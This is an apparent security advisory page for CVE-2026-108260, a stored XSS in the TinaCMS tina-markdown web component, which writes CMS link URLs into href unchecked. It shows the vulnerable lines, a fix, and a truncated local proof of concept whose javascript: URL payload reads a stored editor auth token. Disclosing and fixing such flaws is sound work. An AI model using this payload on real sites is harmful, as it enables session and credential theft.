@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS
CVE-2026-108260 · GHSA-c42q-qvc3-j6vg · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 7.6 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-108260?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
@tinacms/web-components(npm) <= 0.2.0
How to check
- Run
npm ls @tinacms/web-componentsin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
@tinacms/web-componentsto 0.2.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
`<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.
### Details
The unvalidated sink:
```
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
```
`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.
The guard that exists in every sibling renderer:
```
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
```
`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.
That this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of "matching the `components` prop on the React and Astro renderers" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.
Default-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.
Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:
```js
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
```
Variant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.
### PoC
Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.
Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.
**Setup**
```bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
```
`entry.js`:
```js
import './tina-markdown.js'; // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;
```
`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:
```html
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
```
`run.cjs`:
```js
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.exists…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg
- github.com/tinacms/tinacms/pull/7523
- github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b
- github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1
- github.com/advisories/GHSA-c42q-qvc3-j6vg
Merged from GitHub Advisory Database, NVD. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON